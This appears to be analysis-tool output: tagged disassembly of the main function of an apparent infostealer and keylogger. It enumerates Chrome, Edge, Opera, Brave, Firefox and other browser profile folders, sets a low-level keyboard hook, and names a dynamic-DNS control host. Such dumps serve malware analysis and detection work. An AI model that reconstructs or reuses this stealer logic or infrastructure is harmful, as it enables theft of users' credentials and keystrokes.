Function at 0x401000
Capabilities:
Allocate thread local storage
Log keystrokes via application hook

Disassembly:
push 0x860
push 0
push 0x69f73c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleW
mov dword [0x69f740], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x69f73c], eax
call fcn.00427a80
push 0
push esp
call fcn.00428f10
add esp, 4
call fcn.00426f10
call fcn.00426f84
call fcn.00426800
call fcn.00425590
call fcn.004234cc
call fcn.00422d70
call fcn.00422516
call fcn.00421ee5
call fcn.00421779
call fcn.00421980
call fcn.00420fd1
call fcn.00420d4c
call fcn.0042028d
call fcn.0042038b
call fcn.0041e280
call fcn.0041db15
call fcn.0041d48d
call fcn.0041bd40
call fcn.0041c140
call fcn.0041a85c
call fcn.0041a55e
call fcn.00418f6c
call fcn.0041911d
call fcn.0041893f
call fcn.00418cae
call fcn.00417d2b
call fcn.00418052
call fcn.00415f1b
call fcn.004163be
call fcn.00415bbc
push eax
push 0x100000
call fcn.00414d3a
push 0x100027
call fcn.00414d3a
push 7
call fcn.00414d3a
mov dword [0x69f744], 0
push 8
call fcn.00414d3a
mov eax, 0x200
push eax
lea eax, [0x69ff98]
push eax
push 0x5899b4
push 8
push 4
call fcn.0041db34
push 9
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.localappdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, str.GoogleChromeUser_DataDefault
push edx
call fcn.00427b10
mov eax, str.Chrome
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0xa
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.localappdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, str.YandexYandexBrowserUser_DataDefault
push edx
call fcn.00427b10
mov eax, str.Yandex
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0xb
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.localappdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, str.MicrosoftEdgeUser_DataDefault
push edx
call fcn.00427b10
mov eax, str.Edge
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0xc
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.appdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, 0x587238
push edx
call fcn.00427b10
mov eax, str.Opera
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0xd
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.localappdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, str.BraveSoftwareBrave_BrowserUser_DataDefault
push edx
call fcn.00427b10
mov eax, str.Brave
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0xe
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.localappdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, str.VivaldiUser_DataDefault
push edx
call fcn.00427b10
mov eax, str.Vivaldi
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0xf
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.appdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, str.MozillaFirefoxProfiles
push edx
call fcn.00427b10
mov eax, str.Firefox
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0x10
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.appdata
push eax
call fcn.00418f67
call fcn.0041914c
mov edx, str.WaterfoxProfiles
push edx
call fcn.00427b10
mov eax, str.Waterfox
push eax
push dword [0x69ff98]
call fcn.00414e24
call fcn.0041dc01
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00427b70
push 0x21
call fcn.00414d3a
call fcn.00419c72
push 0x22
call fcn.00414d3a
call fcn.0041b9a0
push 0x23
call fcn.00414d3a
call fcn.0041e6d3
call fcn.0041e6d4
push 0x31
call fcn.00414d3a
mov edx, str.Korsan
lea ecx, [0x69f76c]
call fcn.00415008
push 0x32
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
call fcn.00419189
call fcn.00415182
add dword [esp], edx
call fcn.0041f40f
call fcn.0041f45a
mov edx, str.Common_
push edx
call fcn.00427b10
lea eax, [0x69f7a8]
push eax
call fcn.00427b70
push 0x34
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
call fcn.0041aa6d
call fcn.0041ac27
lea eax, [0x69f770]
push eax
call fcn.00427b70
push 0x35
call fcn.00414d3a
push edx
call fcn.00427ad0
pop edx
push eax
push edx
call fcn.00427ad0
pop edx
push eax
mov eax, str.username
push eax
call fcn.00418f67
call fcn.0041914c
lea eax, [0x69f7a0]
push eax
call fcn.00427b70
push 0x37
call fcn.00414d3a
mov dword [0x69f79c], 0
push 0x38
call fcn.00414d3a
mov dword [0x69f7bc], 0
push 0x3a
call fcn.00414d3a
mov dword [0x69f778], 0
push 0x3b
call fcn.00414d3a
mov dword [0x69f754], 1
push 0x3c
call fcn.00414d3a
mov dword [0x69f748], 1
push 0x3d
call fcn.00414d3a
mov edx, str.cs123fr.freedynamicdns.net
lea ecx, [0x69f764]
call fcn.00415008
push 0x3e
call fcn.00414d3a
mov dword [0x69f780], 0xff98
push 0x64
call fcn.00414d3a
push 0x10000000
mov eax, 0x58713a
push eax
push 0
push 0
push 0
push 0
push 0
call fcn.00415fa3
call fcn.00416429
and eax, eax
je 0x4016bb
push 0x65
call fcn.00414d3a
call fcn.00412446
push 0x65
call fcn.00414e8d
push 0x66
call fcn.00414d3a
push 0
push 0
call sub.KERNEL32.dll_GetModuleHandleW
push 0x66
call fcn.00414e8d
push eax
lea eax, [0x406048]
push eax
push 0xd
call sub.USER32.dll_SetWindowsHookExW
push 0x66
call fcn.00414e8d
mov dword [0x69f7c0], eax
push 0x67
call fcn.00414d3a
push 0
lea eax, [0x402318]
push eax
call fcn.004188e5
call fcn.00418d29
mov dword [0x69f788], eax
push 0x68
call fcn.00414d3a
push 0x69
call fcn.00414d3a
call fcn.004160bc
call fcn.004168d9
mov dword [0x69f798], eax
push 0x6a
call fcn.00414d3a
push 1
call fcn.0041b2dd
call fcn.0041b2f9
push 0x6b
call fcn.00414d3a
mov ebx, dword [0x69f798]
cmp ebx, 0x333c
jne 0x4016b5
call fcn.0041d615
call fcn.0041d616
mov ebx, eax
and ebx, ebx
jne 0x4016b5
mov eax, 1
jmp 0x4016b7
xor eax, eax
and eax, eax
je 0x40164a
push 0x6c
call fcn.00414d3a
push 0x58e
call fcn.00414d3a
push 0
call fcn.004016f3
call fcn.00428810
call fcn.00427ab0
push dword [0x69f73c]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess